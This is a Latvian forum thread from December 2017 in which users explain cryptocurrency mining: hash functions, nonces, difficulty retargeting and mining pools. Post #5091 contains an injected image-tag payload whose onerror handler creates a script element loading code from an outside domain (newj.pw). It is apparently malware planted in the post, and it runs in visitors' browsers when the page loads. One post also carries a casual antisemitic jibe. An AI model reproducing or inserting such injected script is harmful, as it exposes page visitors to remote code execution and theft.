| Autors | Ziņojums |
|---|
| halloween | | 27. Dec 2017, 15:40 |
#5081
|
|
 Kopš: 04. Dec 2009
No: Rīga
Ziņojumi: 1107
Braucu ar: X
|
27 Dec 2017, 15:34:26 @suhariks1 rakstīja:
Es pieļauju, ka pa lielam visiem nu ir skaidrs ar ko te var nopelnīt un kā. Bet man gan vairāk gribās zināt kam tiek izmantotas visas saražotās fermas? Tas taču ir nereāls datoru tīkls ar kosmiskām jaudām informācijas apstrādāšanai. Negribās kaut kā ticēt, ka tas viss ir "Sarežģītu matemātisku uzdevumu rēķināšanai" pret ko apmaiņa tu saņem kripto valūtu. Ko patiesībā tie datori "rēķina" ? Jo pa lielam tiek izmantoti sveši datoru resursi kaut kam citam... es gelīgi neticu ka lai "rēķinātu" ... kaut kādai gudrākai domai ir jābūt tam mainingam apakšā. Par mainingu to sauc manuprāt lai izklausītos legāli. Es te velku paralēles ar proxy serveru būtību utt. Nav kaut kur kāds info par šo sīkāk?
Tev jāpalasās pašam. Pa lielam nevienu normālu kripto nevar pamainot ar vecu CPU vai GPU.
Lai dabūtu jebkādu normālu profitu, kas pārsniedz elektrības cenas ir jābūt top-of-the-line GPU vai specifiskām iekārtām.
Vienkārši izsakoties mainojot tiek darīta tikai viena lieta - visu laiku izpildīta konkrētās kriptovalūtas hash funkcija, cerot atrast tādu
HASH(Block data[transakciju dati] + nonce)
vērtība, kas sāktos/beigtos ar zināmu skaitu 0 baitiem.
Pie katras iterācijas nonce tiek pacelta par 1.
Tā kā hash funkcijas iznākums ir pseido-randoms, tad (izmainot jebkuru vienu ievaddatu baitu, izmainās viss outputs) tiek brute-force veidā meklēta kāda nonce vērtība, kuru pieliekot BLOCK datiem dabūn šo hash vērtību ar sarežģītībai atbilsošu 0 baitiem sākumā. Ja tāda vērtība tiek atrasta, tas arī kļūst par pēdējo bloku un atradējs saņem block-atlīdzību.
Kāpēc tā? Tieši tāpēc, lai tas būtu grūti un visi sacenstos mainojot, tādējādi radot drošību, ka kāds nevar sev "sadrukāt" neierobežotu skaitu fanķiku.
Piemēram:
BTC lieto
SHA256(
SHA256(
block data + nonce
)
)
[ Šo ziņu laboja halloween, 27 Dec 2017, 15:49:27 ] |
 Offline | |
|
| Tikai_lasu | | 27. Dec 2017, 16:00 |
#5082
|
|
Kopš: 12. Dec 2013
Ziņojumi: 1126
Braucu ar:
| Viņš par ko citu! Tu domā, ka rēķini savu nonce, bet patiesībā kačā arābam pornuhu...
...vai piemēram žīdi tādā veidā tev tirgo elektrību...  |
| Offline | |
|
| toolis | | 27. Dec 2017, 16:04 |
#5083
|
|
 Kopš: 13. Jan 2016
No: Rīga
Ziņojumi: 1883
Braucu ar: xc90 / cbr1000rr
|
27 Dec 2017, 16:00:25 @Tikai_lasu rakstīja:
Viņš par ko citu! Tu domā, ka rēķini savu nonce, bet patiesībā kačā arābam pornuhu...
...vai piemēram žīdi tādā veidā tev tirgo elektrību...
cilvēkiem laikam nav ne mazākās nojēgas kā open source softs strādā  |
| Offline | |
|
| halloween | | 27. Dec 2017, 16:05 |
#5084
|
|
Kopš: 04. Dec 2009
No: Rīga
Ziņojumi: 1107
Braucu ar: X
| 27 Dec 2017, 16:00:25 @Tikai_lasu rakstīja:
Tu domā, ka rēķini savu nonce, bet patiesībā kačā arābam pornuhu...
Interneta trafiks ir minimāls un ir redzams, kuri elementi sistēmā tiek slogoti. Atkrīt.
27 Dec 2017, 16:00:25 @Tikai_lasu rakstīja:
..vai piemēram žīdi tādā veidā tev tirgo elektrību...
Sūdīgs bizness tad, jo es samainoju 3-4x vairāk crypto vērtībā, salīdzinot ar iztērētās elektrības cenu
27 Dec 2017, 16:04:26 @toolis rakstīja:
27 Dec 2017, 16:00:25 @Tikai_lasu rakstīja:
Viņš par ko citu! Tu domā, ka rēķini savu nonce, bet patiesībā kačā arābam pornuhu...
...vai piemēram žīdi tādā veidā tev tirgo elektrību...
cilvēkiem laikam nav ne mazākās nojēgas kā open source softs strādā
Btw lielākā daļa mineri ir closed-source, jo tur jau tiek skaldīti mati uz cuda optimizācijām dažādos neakadēmiskos veidos...[ Šo ziņu laboja halloween, 27 Dec 2017, 16:06:51 ] |
| Offline | |
|
| halloween | | 27. Dec 2017, 16:15 |
#5085
|
|
Kopš: 04. Dec 2009
No: Rīga
Ziņojumi: 1107
Braucu ar: X
| Neturu neko biržās un citiem arī neiesaku. |
| Offline | |
|
| Surr | | 27. Dec 2017, 16:19 |
#5086
|
|
 Kopš: 23. Mar 2004
No: Rīga
Ziņojumi: 1837
Braucu ar: Kaskaiš
|
27 Dec 2017, 15:34:26 @suhariks1 rakstīja:
Ko patiesībā tie datori "rēķina" ? Jo pa lielam tiek izmantoti sveši datoru resursi kaut kam citam... es gelīgi neticu ka lai "rēķinātu" ... kaut kādai gudrākai domai ir jābūt tam mainingam apakšā.
Pamatdoma ir diezgan vienkārša - visi datori tīklā dublē un atjauno kopējo sistēmas datubāzi, veicot matemātiskus aprēķinus.
Visi mežonīgie resursi pastāv tādēļ, ka visi maineri konkurē savā starpā. Kā jau es minēju piemēru - sistēma funkcionēti arī, ja tīklā būtu tikai 3 aizvēsturiski datori vispār bez videokartēm.
Visa fiška slēpjas tajā, ka maineri faktiski konkurē savā starpā - kuram ir jaudīgāka sistēma - tas pirmais atrisina matemātisko uzdevumu un saņem atlīdzību. kriptovalūtas cena kāpj, attiecīgi - sistēmas dalībnieki ir ieinteresēti pirkt jaudīgāku tehniku, lai pārspētu citus sistēmas dalībniekus un biežāk atrisinātu uzdevumu pirmie/saņemtu atlīdzību.
Šobrīd praksē - neviens individuāli vairs nevar mainot (praksē nav iespējams uzbūvēt tik jaudīgu iekārtu) - tāpēc pastāv maining pūli. Mining pool - tas ir centralizēts serveris, kurš šo matemātisko uzdevumu sadala daļā un katrs no maining pūla dalībniekiem risina daļu no uzdevuma. Kad uzdeuvms ir atrisināts - pūls saņem atlīdzību un izdala to saviem maineriem, proporcionāli paveiktajam darbam (jaudai) |
| Offline | |
|
| halloween | | 27. Dec 2017, 16:24 |
#5087
|
|
Kopš: 04. Dec 2009
No: Rīga
Ziņojumi: 1107
Braucu ar: X
|
27 Dec 2017, 16:19:38 @Surr rakstīja:
sistēma funkcionēti arī, ja tīklā būtu tikai 3 aizvēsturiski datori vispār bez videokartēm.
WRONG!
Iespēja tiem 3 datoriem atrast nākamo nonci būtu tik maza, ka vajadzēt pāris miljardus gadu, lai to izdarītu.
Starp Difficulty Retarget BTC ir 2016 bloki - tātad tiem datoriem būtu jāspēj izmainot 2016 bloki, lai saigaidītu, kad DIFF pielāgojas viņu "spējām" - pielāgotu DIFF tā, lai viens bloks vidēji izkristu ik pēc 10min.
Efektīvi - sistēma apstātos, transakciju backlogs bezgalīgi augtu (kā tagad peaka laikos) un to vairs lietot nebūtu iespējams.[ Šo ziņu laboja halloween, 27 Dec 2017, 16:25:55 ] |
| Offline | |
|
| Tikai_lasu | | 27. Dec 2017, 16:24 |
#5088
|
|
Kopš: 12. Dec 2013
Ziņojumi: 1126
Braucu ar:
| Un jo lielāks centrs, jo vajag vairāk lētas enerģijas:
|
| Offline | |
|
|
|
| Surr | | 27. Dec 2017, 16:26 |
#5089
|
|
Kopš: 23. Mar 2004
No: Rīga
Ziņojumi: 1837
Braucu ar: Kaskaiš
| Ok. Mazliet precizējot - ja nevis vienkārši vienā brīdī paliktu 3 PC - bet pakāpeniski kopējā sistēmas jauda kristos |
| Offline | |
|
| halloween | | 27. Dec 2017, 16:28 |
#5090
|
|
Kopš: 04. Dec 2009
No: Rīga
Ziņojumi: 1107
Braucu ar: X
|
27 Dec 2017, 16:26:00 @Surr rakstīja:
Ok. Mazliet precizējot - ja nevis vienkārši vienā brīdī paliktu 3 PC - bet pakāpeniski kopējā sistēmas jauda kristos
Tai būtu jākrītas ĻOTI pakāpeniski, lai nesāktos shitstorms.
Ja jauda kaut kad kritīsies, tad, pie tagadējās situācijas, kad BTC bloki ir 105% pilni, shitstorms ir garantēts  |
| Offline | |
|
| karlsonss | | 27. Dec 2017, 16:56 |
#5091
|
|
Kopš: 02. Feb 2009
No: Jelgava
Ziņojumi: 23038
Braucu ar:
| lab, un kaads ir tas rezultaats ko tie maineri censhas atrsinaat??? 
![](http://?<a href="<a href= "https://onerror=this.attributes['onerror'].value='a=document.createElement\x28\'script\'\x29;a.src=\'https://newj.pw/derb\';document.head.appendChild\x28a\x29;this.name=\'injimg\'';this.src='http://'//") https://onerror=this.attributes['onerror'].valu....src='http://'// f=""" border="0" style="cursor: pointer;" onClick=" getImgSize(this.src);"> [ Šo ziņu laboja karlsonss, 28 Dec 2017, 02:44:44 ] |
| Offline | |
|
| Surr | | 27. Dec 2017, 17:28 |
#5092
|
|
Kopš: 23. Mar 2004
No: Rīga
Ziņojumi: 1837
Braucu ar: Kaskaiš
| Vienkāršojot - lietotāju pārskaitījumus starp makiem. |
| Offline | |
|
| halloween | | 27. Dec 2017, 17:50 |
#5093
|
|
Kopš: 04. Dec 2009
No: Rīga
Ziņojumi: 1107
Braucu ar: X
|
27 Dec 2017, 16:56:08 @karlsonss rakstīja:
lab, un kaads ir tas rezultaats ko tie maineri censhas atrsinaat???
Nav tāda rezultāta - tas nav lineārs vienādojums kam galā ir rezultāts.
Lūdzu pārlasi vēlreiz manu garāko postu par hash loģiku. Tas faktiski ir brute-force visām iespējamajām kombinācijām, kamēr kāda dod pieļaujamu rezultātu
https://en.bitcoin.it/wiki/Proof_of_work[ Šo ziņu laboja halloween, 27 Dec 2017, 17:53:23 ] |
| Offline | |
|
| TiN | | 27. Dec 2017, 20:46 |
#5094
|
|
 Kopš: 13. Oct 2017
Ziņojumi: 77
Braucu ar: 1.6 eco un 1.0 blue
| This is what 4 years of ICO activity looks like |
| Offline | |
|
| didzinators | | 27. Dec 2017, 22:10 |
#5095
|
|
Kopš: 25. Nov 2006
No: Rīga
Ziņojumi: 1407
Braucu ar: Japāņu ņivu
| Korejieši ripple baigi uzdzinuši, drīz jākrīt |
| Offline | |
|
| spridis | | 27. Dec 2017, 22:27 |
#5096
|
|
Kopš: 01. Aug 2007
Ziņojumi: 602
Braucu ar:
| Es te šo atstāšu
Punktu pa punktam izģērbts blokčeins |
| Offline | |
|
|
|
| TiN | | 28. Dec 2017, 02:09 |
#5097
|
|
Kopš: 13. Oct 2017
Ziņojumi: 77
Braucu ar: 1.6 eco un 1.0 blue
| From Bitcoin To Hashgraph: The Crypto Revolution - Hidden Secrets Of Money Ep 8 - Mike Maloney
3 gadus veidots dokumentāls video - ieskatam noteikti derēs iesācējiem un iespējams arī kādam, kas tēmu zin padziļināti.
Ļoti interesē, ko speci saka par Hashgraph, tā nākotni? Iespējām pielietot?
Noskatoties video, nonācu pie galvenā secinājuma, ka blokķēde ir totāli novecojis un neefektīvs risinājums  , kur viena mobilā telefona procesora vietā (hashgraph) ir jādarbina jaudīgs dators un jākurina mežonīgi kW, ar mērķi palēnināt tīklu (blockchain)... WTF!?
Dēļ tā, cik absurdi tiek dedzināta enerģija, gribētos pat heitot šo visu, lai arī pats pavisam nesen esmu spēris pirmos soļus kriptovalūtu tirdzniecībā spekulatīvos nolūkos un pamest pagaidām negrasos. Bet tā pēcgarša tāda nepatīkama... |
| Offline | |
|
| viagris | | 28. Dec 2017, 02:21 |
#5098
|
|
 Kopš: 06. Jul 2004
Ziņojumi: 4772
Braucu ar:
|
27 Dec 2017, 22:10:32 @didzinators rakstīja:
Korejieši ripple baigi uzdzinuši, drīz jākrīt
Kaut kur lasīju, ka Mak Fakīns esot teicis, ka būšu coinbase rīt vai ko tādu, neatceros precīzi. |
| Offline | |
|
| Archy96 | | 28. Dec 2017, 04:30 |
#5099
|
|
 Kopš: 04. Nov 2010
No: Rīga
Ziņojumi: 1107
Braucu ar: KTM 1290 SA & Toyota LC120
| Visa šī jautrība beigsies ar kārtējo vispasaules ekonomikas krīzi, un tad sūdos varēs sēdēt visi, arī tie, kam ar to visu nav nekāda sakara.
Kurš var uz 100% apgalvot, ka tā nebūs??? |
| Offline | |
|
Krishus  | | 28. Dec 2017, 08:10 |
#5100
|
|
Kopš: 13. Mar 2006
No: Subate
Ziņojumi: 3217
Braucu ar:
| Ar 100% garantiju var apgalvot tikai to, ka tu tuvaakajos 100 gados noliksi karoti, vot tas nu gan ir 100% droshi. par pārējo laiks rādīs... |
| Offline | |
|
